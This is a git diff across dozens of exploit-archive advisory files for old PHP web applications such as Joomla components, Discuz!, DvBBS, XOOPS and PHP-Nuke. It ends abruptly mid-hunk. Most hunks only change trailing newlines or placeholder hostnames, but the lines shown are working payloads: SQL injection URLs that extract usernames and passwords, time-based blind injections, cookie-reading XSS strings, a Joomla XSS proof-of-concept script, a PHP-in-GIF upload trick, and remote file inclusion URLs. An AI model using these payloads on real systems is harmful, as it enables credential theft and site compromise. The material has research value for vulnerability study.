a/platforms/php/webapps/33008.txt b/platforms/php/webapps/33008.txt index 3855442e2..ea95002fb 100755 --- a/platforms/php/webapps/33008.txt +++ b/platforms/php/webapps/33008.txt @@ -10,4 +10,4 @@ http://www.example.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOI if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/* -http://www.example.com/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS] \ No newline at end of file +http://www.example.com/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33011.txt b/platforms/php/webapps/33011.txt index e129509c3..4bf80c54e 100755 --- a/platforms/php/webapps/33011.txt +++ b/platforms/php/webapps/33011.txt @@ -10,4 +10,4 @@ The following sample request is available: GET http://www.example.com/PHP-Nuke-8.0/index.php HTTP/1.0 Accept: */* -referer: '+IF(False,'',SLEEP(5))+' \ No newline at end of file +referer: '+IF(False,'',SLEEP(5))+' \ No newline at end of file diff --git a/platforms/php/webapps/33030.txt b/platforms/php/webapps/33030.txt index ccb19d49d..91e34f7bb 100755 --- a/platforms/php/webapps/33030.txt +++ b/platforms/php/webapps/33030.txt @@ -31,4 +31,4 @@ file_exists("admin/" . $admin . ".php")) { . ".php"); } ----------[exploit Fin] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/33052.txt b/platforms/php/webapps/33052.txt index 7ba4a923b..613215661 100755 --- a/platforms/php/webapps/33052.txt +++ b/platforms/php/webapps/33052.txt @@ -10,4 +10,4 @@ The following examples are available: echo -n 10000nidemBASEUserRole | md5sum -javascript:document.cookie="BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e; path=/" \ No newline at end of file +javascript:document.cookie="BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e; path=/" \ No newline at end of file diff --git a/platforms/php/webapps/33057.txt b/platforms/php/webapps/33057.txt index 3b4c8ca45..271e2d950 100755 --- a/platforms/php/webapps/33057.txt +++ b/platforms/php/webapps/33057.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Aardvark Topsites PHP 5.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?a=search&q=psstt+securityâ~@~]><a+href%3Dhttp%3A%2F%2Fwebsec.id3as.com>Web-Application-Security \ No newline at end of file +http://www.example.com/index.php?a=search&q=psstt+securityâ~@~]><a+href%3Dhttp%3A%2F%2Fwebsec.id3as.com>Web-Application-Security \ No newline at end of file diff --git a/platforms/php/webapps/33061.php b/platforms/php/webapps/33061.php index fb04ac99c..736eff526 100755 --- a/platforms/php/webapps/33061.php +++ b/platforms/php/webapps/33061.php @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect versions prior to 1.5.12. -/* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site='localhost'; $path='/joomla-1.5.11'; $cookname='d85558a8cf943386aaa374896bfd3d99'; $cookvalue='4ab56fdd83bcad86289726aead602699'; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss='alert("PWN PWN PWN: " + document.cookie);'; function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') { $this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->headers[] = 'Referer: ">get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form'); /* let's execute some javascript.. }:-)*/ echo $c; ?> \ No newline at end of file +/* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site='localhost'; $path='/joomla-1.5.11'; $cookname='d85558a8cf943386aaa374896bfd3d99'; $cookvalue='4ab56fdd83bcad86289726aead602699'; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss='alert("PWN PWN PWN: " + document.cookie);'; function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') { $this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->headers[] = 'Referer: ">get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form'); /* let's execute some javascript.. }:-)*/ echo $c; ?> \ No newline at end of file diff --git a/platforms/php/webapps/33065.txt b/platforms/php/webapps/33065.txt index 20cd9c4c2..a9ad82df9 100755 --- a/platforms/php/webapps/33065.txt +++ b/platforms/php/webapps/33065.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Horde 'Passwd' 3.1.1 are vulnerable. -http://www.example.com/horde/passwd/main.php?backend="><script>alert('XSS')</script>&userid=stevejobs&return_to=&oldpassword=foo&newpassword0=foo&newpassword1=foo&submit=Change%20Password \ No newline at end of file +http://www.example.com/horde/passwd/main.php?backend="><script>alert('XSS')</script>&userid=stevejobs&return_to=&oldpassword=foo&newpassword0=foo&newpassword1=foo&submit=Change%20Password \ No newline at end of file diff --git a/platforms/php/webapps/33068.txt b/platforms/php/webapps/33068.txt index 2b3bb0189..a5e70f96e 100755 --- a/platforms/php/webapps/33068.txt +++ b/platforms/php/webapps/33068.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ClanSphere 2009.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?mod=search&action=list&text="'><script>alert('xss')</script>&where=0&submit=Suchen \ No newline at end of file +http://www.example.com/index.php?mod=search&action=list&text="'><script>alert('xss')</script>&where=0&submit=Suchen \ No newline at end of file diff --git a/platforms/php/webapps/33072.txt b/platforms/php/webapps/33072.txt index 0dcab60ba..06bb86929 100755 --- a/platforms/php/webapps/33072.txt +++ b/platforms/php/webapps/33072.txt @@ -24,4 +24,4 @@ Code : } ----------[exploit Fin] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/33075.txt b/platforms/php/webapps/33075.txt index 23eab7c9e..b16918e1a 100755 --- a/platforms/php/webapps/33075.txt +++ b/platforms/php/webapps/33075.txt @@ -78,7 +78,7 @@ Content-Length: 633 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Cookie: classified_session=2e766bb87b762c7461a4367f11f67b28; developer_force_type=MAX; master_auctions=off; master_classifieds=off; master_site_fees=on; classifieds=on; auctions=on; css_primary_tset=green_lite_primary; css_secondary_tset=black_secondary; admin_classified_session=d4f1b96a342a64fe272217ba14977f27; killmenothing -Host: server +Host: server.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) diff --git a/platforms/php/webapps/33085.txt b/platforms/php/webapps/33085.txt index cf4cfd0a1..7c60cbfef 100755 --- a/platforms/php/webapps/33085.txt +++ b/platforms/php/webapps/33085.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example URI is available: -http://www.example.com/easy_image/main.php?action=detail&id= XSS TO ADD: 1>'><ScRiPt%20%0a%0d>alert(334415002616)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/easy_image/main.php?action=detail&id= XSS TO ADD: 1>'><ScRiPt%20%0a%0d>alert(334415002616)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33087.txt b/platforms/php/webapps/33087.txt index d28c4f4ad..fffe26509 100755 --- a/platforms/php/webapps/33087.txt +++ b/platforms/php/webapps/33087.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc PHPLive! 3.2.1 and 3.2.2 are vulnerable; other versions may also be affected. -http://www.example.com/phplive/request.php?l=admin&x=1 AND 1=1 \ No newline at end of file +http://www.example.com/phplive/request.php?l=admin&x=1 AND 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/33098.txt b/platforms/php/webapps/33098.txt index d964d6d00..6a3396ab6 100755 --- a/platforms/php/webapps/33098.txt +++ b/platforms/php/webapps/33098.txt @@ -4,4 +4,4 @@ Programs Rating Script is prone to multiple cross-site scripting vulnerabilities An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/rating/postcomments.php?id=1>'><ScRiPt %0A%0D>alert(360824593944)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/rating/postcomments.php?id=1>'><ScRiPt %0A%0D>alert(360824593944)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/33109.txt b/platforms/php/webapps/33109.txt index 238f89e05..11755e7a5 100755 --- a/platforms/php/webapps/33109.txt +++ b/platforms/php/webapps/33109.txt @@ -4,4 +4,4 @@ PG Matchmaking is prone to multiple cross-site scripting vulnerabilities because An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/services.php?id="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/services.php?id="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33110.txt b/platforms/php/webapps/33110.txt index 6bc9e2ee6..8e6a5645a 100755 --- a/platforms/php/webapps/33110.txt +++ b/platforms/php/webapps/33110.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br The issues affect XZeroScripts XZero Community Classifieds 4.97.8; other versions may also be vulnerable. http://www.example.com/xzero_classifieds/?_xzcal_m=6&_xzcal_y=1<body+onload=alert(318724525577)> -http://www.example.com/xzero_classifieds/index.php?cityid=1777&view=post&postevent=1"+onmouseover=alert(390684711834)+ \ No newline at end of file +http://www.example.com/xzero_classifieds/index.php?cityid=1777&view=post&postevent=1"+onmouseover=alert(390684711834)+ \ No newline at end of file diff --git a/platforms/php/webapps/33111.txt b/platforms/php/webapps/33111.txt index a84c41732..ea26f1e16 100755 --- a/platforms/php/webapps/33111.txt +++ b/platforms/php/webapps/33111.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th AIOCP 1.4.001 is vulnerable; other versions may also be affected. -http://www.example.com/public/code/cp_html2txt.php?page=[SHELL] \ No newline at end of file +http://www.example.com/public/code/cp_html2txt.php?page=[SHELL] \ No newline at end of file diff --git a/platforms/php/webapps/33121.txt b/platforms/php/webapps/33121.txt index 1931d1829..7455659fa 100755 --- a/platforms/php/webapps/33121.txt +++ b/platforms/php/webapps/33121.txt @@ -5,4 +5,4 @@ PG eTraining is prone to multiple cross-site scripting vulnerabilities because i An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. http://www.example.com/lessons_login.php?btn=start&cur=[XSS] -http://www.example.com/lessons_login.php?id=[XSS] \ No newline at end of file +http://www.example.com/lessons_login.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33122.txt b/platforms/php/webapps/33122.txt index 72aa9a2bd..97a1c42de 100755 --- a/platforms/php/webapps/33122.txt +++ b/platforms/php/webapps/33122.txt @@ -4,4 +4,4 @@ The 'com_user' component for Joomla! is prone to a remote URI-redirection vulner A successful exploit may aid in phishing attacks. -http://www.example.com/path/index.php?option=com_user&lang=fr&view=[SITE] \ No newline at end of file +http://www.example.com/path/index.php?option=com_user&lang=fr&view=[SITE] \ No newline at end of file diff --git a/platforms/php/webapps/33125.txt b/platforms/php/webapps/33125.txt index 4ed30b52d..7c7b9dfae 100755 --- a/platforms/php/webapps/33125.txt +++ b/platforms/php/webapps/33125.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Permis 1.0 is vulnerable; other versions may also be affected. http://www.example.com/index.php?option=com_groups&task=list&id=25 and substring(@@version,1,1)=4 -http://www.example.com/index.php?option=com_groups&task=list&id=25 and substring(@@version,1,1)=5 \ No newline at end of file +http://www.example.com/index.php?option=com_groups&task=list&id=25 and substring(@@version,1,1)=5 \ No newline at end of file diff --git a/platforms/php/webapps/33126.txt b/platforms/php/webapps/33126.txt index ab64d4a72..95b819cfe 100755 --- a/platforms/php/webapps/33126.txt +++ b/platforms/php/webapps/33126.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects Matterdaddy Market 1.2, 1.1, 1.051, 1.04, and 1.03; other versions may also be affected. -http://www.example.com/index.php?q="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/index.php?q="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33127.txt b/platforms/php/webapps/33127.txt index dc59d27c2..f3a15b07f 100755 --- a/platforms/php/webapps/33127.txt +++ b/platforms/php/webapps/33127.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Site Builder module for Miniweb 2.0 is affected. http://www.example.com/sitebuilder/index.php/"><script>alert(document.cookie);</script> -http://www.example.com/sitebuilder/index.php?sitebuilder_id="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/sitebuilder/index.php?sitebuilder_id="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33130.txt b/platforms/php/webapps/33130.txt index 106bc16b7..29d77febc 100755 --- a/platforms/php/webapps/33130.txt +++ b/platforms/php/webapps/33130.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br The following example URI is available: -http://www.example.com/community/index.php?pageurl=board&mode=view&b_no=Evil-code5014&bt_code=Evil-code&page=Evil-code \ No newline at end of file +http://www.example.com/community/index.php?pageurl=board&mode=view&b_no=Evil-code5014&bt_code=Evil-code&page=Evil-code \ No newline at end of file diff --git a/platforms/php/webapps/33131.txt b/platforms/php/webapps/33131.txt index c3278c477..8afe77ce7 100755 --- a/platforms/php/webapps/33131.txt +++ b/platforms/php/webapps/33131.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br XOOPS 2.3.3 is vulnerable; other versions may be affected as well. http://www.example.com/xoops-2.3.3/htdocs/modules/pm/viewpmsg.php?op='"><script>alert('vulnerable')</script> -http://www.example.com/xoops-2.3.3/htdocs/modules/profile/user.php?"><script>alert('vulnerable')</script> \ No newline at end of file +http://www.example.com/xoops-2.3.3/htdocs/modules/profile/user.php?"><script>alert('vulnerable')</script> \ No newline at end of file diff --git a/platforms/php/webapps/33132.txt b/platforms/php/webapps/33132.txt index 0b1322931..f84cfe2c8 100755 --- a/platforms/php/webapps/33132.txt +++ b/platforms/php/webapps/33132.txt @@ -4,4 +4,4 @@ Softbiz Dating Script is prone to an SQL-injection vulnerability because it fail Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/cat_products.php?cid=[SQL INJ] \ No newline at end of file +http://www.example.com/cat_products.php?cid=[SQL INJ] \ No newline at end of file diff --git a/platforms/php/webapps/3314.txt b/platforms/php/webapps/3314.txt index 36236bfc1..7b72fe605 100755 --- a/platforms/php/webapps/3314.txt +++ b/platforms/php/webapps/3314.txt @@ -13,8 +13,8 @@ require_once($zf_path . 'includes/template.php'); require_once($zf_path . 'includes/opml.php'); ******************************************************************************** -ExPlOiT:-http://server/newsfeeds/includes/aggregator.php?zf_path=[Shell] -ExPlOiT:-http://server/newsfeeds/includes/controller.php?zf_path=[Shell] +ExPlOiT:-http://www.SitE.com/newsfeeds/includes/aggregator.php?zf_path=[Shell] +ExPlOiT:-http://www.SitE.com/newsfeeds/includes/controller.php?zf_path=[Shell] ******************************************************************************* # milw0rm.com [2007-02-15] diff --git a/platforms/php/webapps/33146.txt b/platforms/php/webapps/33146.txt index ee572e701..e315bea50 100755 --- a/platforms/php/webapps/33146.txt +++ b/platforms/php/webapps/33146.txt @@ -8,4 +8,4 @@ Versions prior to CS-Cart 2.0.6 are vulnerable. The following example URI is available: -http://www.example.com/index.php?dispatch=reward_points.userlog&result_ids=pagination_contents&sort_by=timestamp&sort_order=' \ No newline at end of file +http://www.example.com/index.php?dispatch=reward_points.userlog&result_ids=pagination_contents&sort_by=timestamp&sort_order=' \ No newline at end of file diff --git a/platforms/php/webapps/3315.txt b/platforms/php/webapps/3315.txt index 0ba2c9f26..82edf2a08 100755 --- a/platforms/php/webapps/3315.txt +++ b/platforms/php/webapps/3315.txt @@ -18,7 +18,7 @@ include_once($path."config.inc.php"); Files: survey.inc.php -Exploit : http://www.server/[path]/survey.inc.php?path=http://sheel.txt? +Exploit : http://www.site.com/[path]/survey.inc.php?path=http://sheel.txt? Ayyildiz.Org Present diff --git a/platforms/php/webapps/33156.txt b/platforms/php/webapps/33156.txt index e4a942e01..caf9b1442 100755 --- a/platforms/php/webapps/33156.txt +++ b/platforms/php/webapps/33156.txt @@ -26,7 +26,7 @@ You must be logged in the admin panel. 0x01 Detecting the error -POST: http://server/?action=search +POST: http://site.com/?action=search POST Content: q='"><img+src=x+onerror=prompt('DaisukeDan');>&in=1&search=Search Example: http://i.imgur.com/zyIr5xv.png Result: Cross site scripting + SQL error @@ -37,7 +37,7 @@ Result: Cross site scripting + SQL error [+] Vulnerable code: $result = mysql_query("SELECT * FROM `logs` WHERE `".$cols[$_POST["in"]]."` LIKE '%".$_POST["q"]."%';", $mysql); -POST: http://server/?action=search +POST: http://site.com/?action=search POST Content: q=' union select 1,2,group_concat(column_name,0x0a),4,5,6,7,8 from information_schema.columns where table_name=0x6c6f6773-- - &in=1&search=Search diff --git a/platforms/php/webapps/33160.txt b/platforms/php/webapps/33160.txt index 0b7a84772..0a503836c 100755 --- a/platforms/php/webapps/33160.txt +++ b/platforms/php/webapps/33160.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability to upload arbitrary code and execute The following command will generate a file with a valid GIF header that runs the 'phpinfo()' function when requested: -$ printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php \ No newline at end of file +$ printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php \ No newline at end of file diff --git a/platforms/php/webapps/33166.txt b/platforms/php/webapps/33166.txt index dc38a4e4f..1a658e75a 100755 --- a/platforms/php/webapps/33166.txt +++ b/platforms/php/webapps/33166.txt @@ -8,4 +8,4 @@ Discuz! 6.0 is affected; other versions may also be vulnerable. The following example URI is available: -http://www.example.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members \ No newline at end of file +http://www.example.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members \ No newline at end of file diff --git a/platforms/php/webapps/33187.txt b/platforms/php/webapps/33187.txt index c9058b5bf..f4a65d058 100755 --- a/platforms/php/webapps/33187.txt +++ b/platforms/php/webapps/33187.txt @@ -4,4 +4,4 @@ VideoGirls is prone to multiple cross site scripting vulnerabilities because the Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible. -http://www.example.com/profile.php?profile_name="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/profile.php?profile_name="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33189.txt b/platforms/php/webapps/33189.txt index 3a050424d..fa3c24a49 100755 --- a/platforms/php/webapps/33189.txt +++ b/platforms/php/webapps/33189.txt @@ -7,4 +7,4 @@ Attackers can exploit these issues to harvest sensitive information that may lea The following example URIs are available: http://www.example.com/members.php?sortby[]=A -http://www.example.com/messages.php?folder[]=inbox \ No newline at end of file +http://www.example.com/messages.php?folder[]=inbox \ No newline at end of file diff --git a/platforms/php/webapps/33190.txt b/platforms/php/webapps/33190.txt index 9442dca49..512ec5a84 100755 --- a/platforms/php/webapps/33190.txt +++ b/platforms/php/webapps/33190.txt @@ -10,4 +10,4 @@ The following proof-of-concept URIs are available: http://www.example.com/openauto/xml_zone_data.php?filter=1%20union%20select%20concat(0x0a,user,0x3a,pass,0x3a,0x0a)%20from%20users -http://www.example.com/openauto/listings.php?min-price=&max_price=&start_zip=BENCHMARK(1000000,MD5(1))&zip_range=10000&state=Illinois&submit=Search&vehicle_type=&make=&model=&year=&listing_condition=&trans=&drive_train=&sellerid= \ No newline at end of file +http://www.example.com/openauto/listings.php?min-price=&max_price=&start_zip=BENCHMARK(1000000,MD5(1))&zip_range=10000&state=Illinois&submit=Search&vehicle_type=&make=&model=&year=&listing_condition=&trans=&drive_train=&sellerid= \ No newline at end of file diff --git a/platforms/php/webapps/33202.txt b/platforms/php/webapps/33202.txt index 95446f1f8..8af7e58be 100755 --- a/platforms/php/webapps/33202.txt +++ b/platforms/php/webapps/33202.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect 68 Classifieds 4.1; other versions may also be affected. - http://www.example.com/viewmember.php?member=[code] \ No newline at end of file + http://www.example.com/viewmember.php?member=[code] \ No newline at end of file diff --git a/platforms/php/webapps/33206.txt b/platforms/php/webapps/33206.txt index e579d513e..e3a37ffb5 100755 --- a/platforms/php/webapps/33206.txt +++ b/platforms/php/webapps/33206.txt @@ -25,4 +25,4 @@ http://www.example.com/speed/?blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=horoscop&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=horoscop&output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/catphones/index.php?output=%3Cscript%3Ealert(1)%3C/script%3E -http://www.example.com/catphones/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file +http://www.example.com/catphones/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33208.txt b/platforms/php/webapps/33208.txt index ca4a102cd..0f43e8944 100755 --- a/platforms/php/webapps/33208.txt +++ b/platforms/php/webapps/33208.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect The following example data is available: [UttpRL=htttptp://example.com]example.com[/URL] -[IMttpG]htttptps://example.com/image.php?i=1&dateline=[/IMG] \ No newline at end of file +[IMttpG]htttptps://example.com/image.php?i=1&dateline=[/IMG] \ No newline at end of file diff --git a/platforms/php/webapps/33214.txt b/platforms/php/webapps/33214.txt index 96c7ece7b..2e2984801 100755 --- a/platforms/php/webapps/33214.txt +++ b/platforms/php/webapps/33214.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc DvBBS 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/[Path]/boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/ \ No newline at end of file +http://www.example.com/[Path]/boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/ \ No newline at end of file diff --git a/platforms/php/webapps/33217.txt b/platforms/php/webapps/33217.txt index fcd18f637..8bc93f528 100755 --- a/platforms/php/webapps/33217.txt +++ b/platforms/php/webapps/33217.txt @@ -4,4 +4,4 @@ The 'com_pressrelease' component for Joomla! is prone to an SQL-injection vulner Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_pressrelease&id=null+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- \ No newline at end of file +http://www.example.com/index.php?option=com_pressrelease&id=null+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- \ No newline at end of file diff --git a/platforms/php/webapps/33218.txt b/platforms/php/webapps/33218.txt index c756301bc..809e59d85 100755 --- a/platforms/php/webapps/33218.txt +++ b/platforms/php/webapps/33218.txt @@ -5,4 +5,4 @@ The 'com_mediaalert' component for Joomla! is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_mediaalert&id=null+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- \ No newline at end of file +http://www.example.com/index.php?option=com_mediaalert&id=null+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- \ No newline at end of file diff --git a/platforms/php/webapps/33219.txt b/platforms/php/webapps/33219.txt index 39cc82a4d..ea0fe0437 100755 --- a/platforms/php/webapps/33219.txt +++ b/platforms/php/webapps/33219.txt @@ -8,4 +8,4 @@ Planet 2.0 is affected; other versions may also be vulnerable. The following example code is available: -<img src="javascript:alert(1);" > \ No newline at end of file +<img src="javascript:alert(1);" > \ No newline at end of file diff --git a/platforms/php/webapps/33226.txt b/platforms/php/webapps/33226.txt index 0749e0866..7b390ea51 100755 --- a/platforms/php/webapps/33226.txt +++ b/platforms/php/webapps/33226.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Mega File Hosting Script 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/emaillinks.php?moudi=1"><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/emaillinks.php?moudi=1"><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33227.txt b/platforms/php/webapps/33227.txt index 17de4658f..5f7302bd2 100755 --- a/platforms/php/webapps/33227.txt +++ b/platforms/php/webapps/33227.txt @@ -4,4 +4,4 @@ Morris Guestbook is prone to a cross-site scripting vulnerability because it fai An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/view.php?pagina=1"><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/view.php?pagina=1"><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/33232.txt b/platforms/php/webapps/33232.txt index 01f3f9978..d84d91050 100755 --- a/platforms/php/webapps/33232.txt +++ b/platforms/php/webapps/33232.txt @@ -9,4 +9,4 @@ MyBB 1.4.8 is vulnerable; other versions may also be affected. The following examples are available: simple query: ' or 1=1-- -blind query: ' having 1=1-- \ No newline at end of file +blind query: ' having 1=1-- \ No newline at end of file diff --git a/platforms/php/webapps/33237.txt b/platforms/php/webapps/33237.txt index 6da6c912f..cbc11b97b 100755 --- a/platforms/php/webapps/33237.txt +++ b/platforms/php/webapps/33237.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc SportFusion 0.2.2 and 0.2.3 are affected; other versions may also be vulnerable. -http://www.example.com/index.php?option=com_sportfusion&view=teamdetail&cid[0]=-666+union+select+1,2,3,4,5,concat(0x3a,username,password)kaMtiez,7,8,9,10,11,12,13+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_sportfusion&view=teamdetail&cid[0]=-666+union+select+1,2,3,4,5,concat(0x3a,username,password)kaMtiez,7,8,9,10,11,12,13+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33238.txt b/platforms/php/webapps/33238.txt index 7cdb55f54..775b2c2be 100755 --- a/platforms/php/webapps/33238.txt +++ b/platforms/php/webapps/33238.txt @@ -4,4 +4,4 @@ The JoomlaFacebook component ('com_facebook') for Joomla! is prone to an SQL-inj Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_facebook&view=student&id=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_facebook&view=student&id=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33239.txt b/platforms/php/webapps/33239.txt index c19558da0..6d379c749 100755 --- a/platforms/php/webapps/33239.txt +++ b/platforms/php/webapps/33239.txt @@ -8,4 +8,4 @@ The following URIs are available: http://www.example.com/cosmetics_zone/view_products.php?cat_id=5&sub_id=4+and+1=1-- True -http://www.example.com/cosmetics_zone/view_products.php?cat_id=5&sub_id=4+and+1=2-- False \ No newline at end of file +http://www.example.com/cosmetics_zone/view_products.php?cat_id=5&sub_id=4+and+1=2-- False \ No newline at end of file diff --git a/platforms/php/webapps/33241.txt b/platforms/php/webapps/33241.txt index fdd6ace5d..44a858829 100755 --- a/platforms/php/webapps/33241.txt +++ b/platforms/php/webapps/33241.txt @@ -4,4 +4,4 @@ DVD Zone is prone to an SQL-injection vulnerability and a cross-site scripting v Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/view_mag.php?mag_id=<script>alert(123)</script> \ No newline at end of file +http://www.example.com/view_mag.php?mag_id=<script>alert(123)</script> \ No newline at end of file diff --git a/platforms/php/webapps/33242.txt b/platforms/php/webapps/33242.txt index 54957dc45..a4b62e879 100755 --- 